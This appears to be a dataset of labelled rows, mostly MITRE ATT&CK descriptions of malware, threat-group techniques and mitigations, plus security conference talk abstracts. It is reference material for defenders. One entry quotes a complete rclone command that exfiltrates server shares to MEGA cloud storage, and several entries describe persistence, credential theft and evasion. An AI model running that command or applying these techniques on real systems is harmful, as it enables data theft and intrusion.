text stringlengths 100 9.93M | category stringclasses 11
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ATT&CK ID:S0192
ATT&CK Technique Name:Pupy
Pupy uses a keylogger to capture keystrokes it then sends back to the server after it is stopped.[142] | secon |
ATT&CK ID:G0061
ATT&CK Technique Name:FIN8
FIN8 has used Registry keys to detect and avoid executing in potential sandboxes.[39] | secon |
ATT&CK ID:G0037
ATT&CK Technique Name:FIN6
FIN6 has deployed a utility script named kill.bat to disable anti-virus.[35] | secon |
titleblackhat:us-19 Hunting for Bugs, Catching Dragons
While browser and plugin exploits are frequent, it's less common to see exploits affecting targets without scripting capabilities. Are these worth attacking? How do we proceed? How do we identify valid entry points and bugs? This talk will cover some research done ... | secon |
title:blackhat:us-18 The Air-Gap Jumpers
The term 'air-gap' in cyber security refers to a situation in which a sensitive computer, classified network, or critical infrastructure is intentionally physically isolated from public networks such as the Internet. Air-gap isolation is mainly used to maintain trade secrets, pr... | secon |
ATT&CK ID:S0154
ATT&CK Technique Name:Cobalt Strike
Cobalt Strike can enumerate services on compromised hosts.[11] | secon |
ATT&CK ID:S0485
ATT&CK Technique Name:Mandrake
Mandrake can evade automated analysis environments by requiring a CAPTCHA on launch that will prevent the application from running if not passed. It also checks for indications that it is running in an emulator.[9] | secon |
ATT&CK ID:M1040
ATT&CK Technique Name:Behavior Prevention on Endpoint
Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. | secon |
title:blackhat:eu-19 Fatal Fury on ESP32: Time to Release Hardware Exploits
Released on January 1st 2016, the ESP32, the System-on-Chip (SoC) from Espressif Systems, becomes quickly popular among the IoT industry and electronic hobbyists, due to its wireless connectivity, a low-power consumption and a free development ... | secon |
ATT&CK ID:T1614.001
ATT&CK Technique Name:System Language Discovery
Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target ... | secon |
ATT&CK ID:T1538
ATT&CK Technique Name:Cloud Service Dashboard
An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all asset... | secon |
ATT&CK ID:S0012
ATT&CK Technique Name:PoisonIvy
PoisonIvy creates a Registry subkey that registers a new service. PoisonIvy also creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.[94] | secon |
ATT&CK ID:G0026
ATT&CK Technique Name:APT18
APT18 can collect system information from the victim’s machine.[20] | secon |
ATT&CK ID:S0409
ATT&CK Technique Name:Machete
Machete searches the File system for files of interest.[110] | secon |
ATT&CK ID:G0108
ATT&CK Technique Name:Blue Mockingbird
Blue Mockingbird has used PowerShell reverse TCP shells to issue interactive commands over a network connection.[37] | secon |
ATT&CK ID:T1218.002
ATT&CK Technique Name:Control Panel
Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. | secon |
ATT&CK ID:S0240
ATT&CK Technique Name:ROKRAT
ROKRAT can retrieve additional malicious payloads from its C2 server.[389][390][30][391] | secon |
ATT&CK ID:S0263
ATT&CK Technique Name:TYPEFRAME
TYPEFRAME can install encrypted configuration data under the Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll and HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs.[168] | secon |
title:botconf2019 Roaming Mantis: A Melting Pot of Android Bots
In March 2018, thousands of home routers were potentially compromised by a criminal campaign called “Roaming Mantis” in Japan to overwrite DNS settings to use a rogue DNS. This criminal has strong financial motivation. Devices under the compromised router,... | secon |
ATT&CK ID:M1028
ATT&CK Technique Name:Operating System Configuration
Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl. T... | secon |
ATT&CK ID:TA0040
ATT&CK Technique Name:Impact
The adversary is trying to manipulate, interrupt, or destroy your systems and data. | secon |
ATT&CK ID:S0210
ATT&CK Technique Name:Nerex
Nerex creates a Registry subkey that registers a new service.[81] | secon |
ATT&CK ID:S0182
ATT&CK Technique Name:FinFisher
FinFisher clears the system event logs using OpenEventLog/ClearEventLog APIs .[13][14] | secon |
ATT&CK ID:S0153
ATT&CK Technique Name:RedLeaves
RedLeaves attempts to add a shortcut file in the Startup folder to achieve persistence. If this fails, it attempts to add Registry Run keys.[56][220] | secon |
ATT&CK ID:M1015
ATT&CK Technique Name:Active Directory Configuration
To contain the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.[... | secon |
title:blackhat:us-19 Securing the System: A Deep Dive into Reversing Android Pre-Installed Apps
The Android security community has been predominantly focused on user-space applications for many years. However, there is a distribution mechanism for security issues that affects more unknowing users, generally allows more... | secon |
ATT&CK ID:S0337
ATT&CK Technique Name:BadPatch
BadPatch attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard information. [6] | secon |
title:blackhat:asia-20 Making an Impact from India to the Rest of the World by Building and Nurturing Women Infosec Community
India is one of the most diverse and fastest growing countries in the world and due to the fast growth, women often are left behind. The world average female literacy rate is 79.7%, while in Ind... | secon |
ATT&CK ID:S0250
ATT&CK Technique Name:Koadic
Koadic can perform process injection by using a reflective DLL.[38] | secon |
titleblackhat:asia-19 CQTools: The New Ultimate Hacking Toolkit
CQURE Team has written over 200 hacking tools during penetration testing. We decided to choose the top 39 tools and pack them in a toolkit called CQTools. We are going to announce 5 new tools at Black Hat Asia, allowing the ultimate privilege elevation and... | secon |
ATT&CK ID:S0551
ATT&CK Technique Name:GoldenEagle
GoldenEagle has collected a list of installed application names.[5] | secon |
ATT&CK ID:S0446
ATT&CK Technique Name:Ryuk
Ryuk has attempted to adjust its token privileges to have the SeDebugPrivilege.[21] | secon |
ATT&CK ID:S1044
ATT&CK Technique Name:FunnyDream
FunnyDream has used a service named WSearch for execution.[29] | secon |
ATT&CK ID:S0373
ATT&CK Technique Name:Astaroth
Astaroth encodes data using Base64 before sending it to the C2 server. [6] | secon |
ATT&CK ID:S0421
ATT&CK Technique Name:GolfSpy
GolfSpy encrypts data using a simple XOR operation with a pre-configured key prior to exfiltration.[7] | secon |
ATT&CK ID:C0025
ATT&CK Technique Name:2016 Ukraine Electric Power Attack
During the 2016 Ukraine Electric Power Attack, Sandworm Team used a script to attempt RPC authentication against a number of hosts.[1] | secon |
ATT&CK ID:G0008
ATT&CK Technique Name:Carbanak
Carbanak malware installs itself as a service to provide persistence and SYSTEM privileges.[30] | secon |
ATT&CK ID:S1032
ATT&CK Technique Name:PyDCrypt
PyDCrypt, along with its functions, is written in Python.[35] | secon |
ATT&CK ID:S0447
ATT&CK Technique Name:Lokibot
Lokibot has the ability to capture input on the compromised host via keylogging.[100] | secon |
ATT&CK ID:M1012
ATT&CK Technique Name:Enterprise Policy
If devices are enrolled using Apple User Enrollment or using a profile owner enrollment mode for Android, device controls prevent the enterprise from accessing the device’s physical location. This is typically used for a Bring Your Own Device (BYOD) deployment. | secon |
ATT&CK ID:S0337
ATT&CK Technique Name:BadPatch
BadPatch attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard information. [6] | secon |
ATT&CK ID:S1054
ATT&CK Technique Name:Drinik
Drinik has code to use Firebase Cloud Messaging for receiving C2 instructions.[2] | secon |
ATT&CK ID:S0356
ATT&CK Technique Name:KONNI
KONNI has used certutil to download and decode base64 encoded strings and has also devoted a custom section to performing all the components of the deobfuscation process.[128][129] | secon |
ATT&CK ID:S0633
ATT&CK Technique Name:Sliver
Sliver can inject code into local and remote processes.[58][59] | secon |
ATT&CK ID:S0234
ATT&CK Technique Name:Bandook
Bandook has been launched by starting iexplore.exe and replacing it with Bandook's payload.[9][10][11] | secon |
ATT&CK ID:C0022
ATT&CK Technique Name:Operation Dream Job
During Operation Dream Job, Lazarus Group digitally signed their malware and the dbxcli utility.[2] | secon |
ATT&CK ID:G0006
ATT&CK Technique Name:APT1
APT1 used the net use command to get a listing on network connections.[7] | secon |
ATT&CK ID:T1574.001
ATT&CK Technique Name:DLL Search Order Hijacking
Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. Hijacking DLL loads may be for the purpose of establishing per... | secon |
ATT&CK ID:S0451
ATT&CK Technique Name:LoudMiner
LoudMiner is typically bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.[35] | secon |
title:blackhat:us-23 Input Output + Syslog (iO+S): Obtaining Data From Locked iOS Devices via Live Monitoring
Forensic examiners and iOS researchers alike greatly depend on the availability to unlock a mobile device to enable data extraction. This presentation reveals how significant data can be recovered from iOS devi... | secon |
ATT&CK ID:G0053
ATT&CK Technique Name:FIN5
FIN5 maintains access to victim environments by using FLIPSIDE to create a proxy for a backup RDP tunnel.[7] | secon |
ATT&CK ID:S0031
ATT&CK Technique Name:BACKSPACE
BACKSPACE allows adversaries to search for files.[34] | secon |
ATT&CK ID:G0040
ATT&CK Technique Name:Patchwork
Patchwork has used spearphishing with links to try to get users to click, download and open malicious files.[75][76][77][14] | secon |
ATT&CK ID:S1022
ATT&CK Technique Name:IceApple
IceApple can use Base64 and "junk" JavaScript code to obfuscate information.[47] | secon |
ATT&CK ID:S0182
ATT&CK Technique Name:FinFisher
FinFisher uses the device microphone to record phone conversations.[15] | secon |
ATT&CK ID:S0378
ATT&CK Technique Name:PoshC2
PoshC2 contains a module for recursively parsing through files and directories to gather valid credit card numbers.[34] | secon |
ATT&CK ID:S0603
ATT&CK Technique Name:Stuxnet
One of Stuxnet's rootkits is contained entirely in the fake s7otbxdx.dll. In order to continue existing undetected on the PLC it needs to account for at least the following situations: read requests for its own malicious code blocks, read requests for infected blocks (OB1, ... | secon |
ATT&CK ID:S0512
ATT&CK Technique Name:FatDuke
FatDuke can used pipes to connect machines with restricted internet access to remote machines via other infected hosts.[10] | secon |
ATT&CK ID:T0811
ATT&CK Technique Name:Data from Information Repositories
Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include ... | secon |
ATT&CK ID:S0412
ATT&CK Technique Name:ZxShell
ZxShell has a feature to capture a remote computer's keystrokes using a keylogger.[21][184] | secon |
ATT&CK ID:T1556.008
ATT&CK Technique Name:Network Provider DLL
Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support ... | secon |
ATT&CK ID:S0439
ATT&CK Technique Name:Okrum
Okrum can obtain the date and time of the compromised system.[54] | secon |
ATT&CK ID:S0395
ATT&CK Technique Name:LightNeuron
LightNeuron is capable of executing commands via cmd.exe.[192] | secon |
ATT&CK ID:S0072
ATT&CK Technique Name:OwaAuth
OwaAuth has been loaded onto Exchange servers and disguised as an ISAPI filter (owaauth.dll). The IIS w3wp.exe process then loads the malicious DLL.[6] | secon |
ATT&CK ID:C0001
ATT&CK Technique Name:Frankenstein
During Frankenstein, the threat actors used WMI queries to check if various security applications were running as well as to determine the operating system version.[51] | secon |
ATT&CK ID:C0006
ATT&CK Technique Name:Operation Honeybee
During Operation Honeybee, the threat actors modified the MaoCheng dropper so its icon appeared as a Word document.[26] | secon |
ATT&CK ID:C0002
ATT&CK Technique Name:Night Dragon
During Night Dragon, threat actors used compromised VPN accounts to gain access to victim systems.[48] | secon |
ATT&CK ID:S0113
ATT&CK Technique Name:Prikormka
Some resources in Prikormka are encrypted with a simple XOR operation or encoded with Base64.[257] | secon |
ATT&CK ID:S0198
ATT&CK Technique Name:NETWIRE
The NETWIRE binary has been executed via PowerShell script.[166] | secon |
ATT&CK ID:G1014
ATT&CK Technique Name:LuminousMoth
LuminousMoth has used legitimate executables such as winword.exe and igfxem.exe to side-load their malware.[34][35] | secon |
ATT&CK ID:C0006
ATT&CK Technique Name:Operation Honeybee
During Operation Honeybee, attackers created email addresses to register for a free account for a control server used for the implants.[14] | secon |
ATT&CK ID:S0251
ATT&CK Technique Name:Zebrocy
Zebrocy has a command to create a scheduled task for persistence.[183] | secon |
ATT&CK ID:S0431
ATT&CK Technique Name:HotCroissant
HotCroissant has attempted to install a scheduled task named "Java Maintenance64" on startup to establish persistence.[82] | secon |
title:botconf2013 DNS Resolution Traffic Analysis Applied to Bot Detection
This presentation aims to explain how works MalwareTrap, a DNS resolution traffic analysis platform deployed into a major French company’s network. MalwareTrap was created to complete internal anti-malwares protections. It constantly listens to ... | secon |
ATT&CK ID:G0093
ATT&CK Technique Name:GALLIUM
GALLIUM used PowerShell for execution to assist in lateral movement as well as for dumping credentials stored on compromised machines.[104] | secon |
ATT&CK ID:G0084
ATT&CK Technique Name:Gallmaker
Gallmaker attempted to exploit Microsoft’s DDE protocol in order to gain access to victim machines and for execution.[18] | secon |
ATT&CK ID:G0078
ATT&CK Technique Name:Gorgon Group
Gorgon Group malware can download a remote access tool, ShiftyBug, and inject into another process.[3] | secon |
ATT&CK ID:G0012
ATT&CK Technique Name:Darkhotel
Darkhotel has used code-signing certificates on its malware that are either forged due to weak keys or stolen. Darkhotel has also stolen certificates and signed backdoors and downloaders with them.[24][25] | secon |
ATT&CK ID:G0078
ATT&CK Technique Name:Gorgon Group
Gorgon Group malware can use PowerShell commands to download and execute a payload and open a decoy document on the victim’s machine.[108] | secon |
ATT&CK ID:G0112
ATT&CK Technique Name:Windshift
Windshift has included file enumeration in the malicious apps deployed as part of Operation BULL and Operation ROCK.[7] | secon |
ATT&CK ID:S0692
ATT&CK Technique Name:SILENTTRINITY
SILENTTRINITY can use System.Security.AccessControl namespaces to retrieve domain user information.[42] | secon |
titleblackhat:us-18 It's a PHP Unserialization Vulnerability Jim, but Not as We Know It
Recent years have seen the emergence of PHP unserialization vulnerabilities as a viable route to remote code execution or other malicious outcomes. The presentation will start with a brief refresher on the issue as it has previously... | secon |
ATT&CK ID:S0407
ATT&CK Technique Name:Monokle
Monokle checks if the device is connected via Wi-Fi or mobile data.[19] | secon |
ATT&CK ID:G0142
ATT&CK Technique Name:Confucius
Confucius has used a file stealer that can examine system drives, including those other than the C drive.[94] | secon |
ATT&CK ID:S0240
ATT&CK Technique Name:ROKRAT
ROKRAT can steal credentials stored in Web browsers by querying the sqlite database.[79] | secon |
ATT&CK ID:G0034
ATT&CK Technique Name:Sandworm Team
Sandworm Team has used dedicated network connections from one victim organization to gain unauthorized access to a separate organization.[13] | secon |
ATT&CK ID:M1010
ATT&CK Technique Name:Deploy Compromised Device Detection Method
Mobile security products can typically detect jailbroken or rooted devices. | secon |
ATT&CK ID:M1051
ATT&CK Technique Name:Update Software
Consider updating Windows to the latest version and patch level to utilize the latest protective measures against UAC bypass.[5] | secon |
titleblackhat:asia-19 Locknote: Conclusions and Key Takeaways from Black Hat Asia 2019
At the close of this year's conference, join Black Hat Founder Jeff Moss and members of the esteemed Black Hat Review Board for an insightful conversation on the most pressing issues facing the InfoSec community. This Locknote will f... | secon |
ATT&CK ID:G0053
ATT&CK Technique Name:FIN5
FIN5 uses SDelete to clean up the environment and attempt to prevent detection.[72] | secon |
ATT&CK ID:S0340
ATT&CK Technique Name:Octopus
Octopus has stored collected information in the Application Data directory on a compromised host.[70][71] | secon |
ATT&CK ID:S1048
ATT&CK Technique Name:macOS.OSAMiner
macOS.OSAMiner has placed a Stripped Payloads with a plist extension in the Launch Agent's folder. [23] | secon |
ATT&CK ID:C0015
ATT&CK Technique Name:C0015
During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M.[3] | secon |
ATT&CK ID:M1017
ATT&CK Technique Name:User Training
Applications may send push notifications to verify a login as a form of multi-factor authentication (MFA). Train users to only accept valid push notifications and to report suspicious push notifications. | secon |
ATT&CK ID:T1218.007
ATT&CK Technique Name:Msiexec
Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi). The Msiexec.exe binary may also be digitally signed... | secon |
ATT&CK ID:G0078
ATT&CK Technique Name:Gorgon Group
Gorgon Group has obtained and used tools such as QuasarRAT and Remcos.[54] | secon |
ATT&CK ID:G0069
ATT&CK Technique Name:MuddyWater
MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell one-liner for execution.[26][27] | secon |
ATT&CK ID:G0112
ATT&CK Technique Name:Windshift
Windshift has used e-mail attachments to lure victims into executing malicious code.[253] | secon |
ATT&CK ID:G1014
ATT&CK Technique Name:LuminousMoth
LuminousMoth has used malware that scans for files in the Documents, Desktop, and Download folders and in other drives.[182][183] | secon |
ATT&CK ID:S0327
ATT&CK Technique Name:Skygofree
Skygofree can download executable code from the C2 server after the implant starts or after a specific command.[24] | secon |
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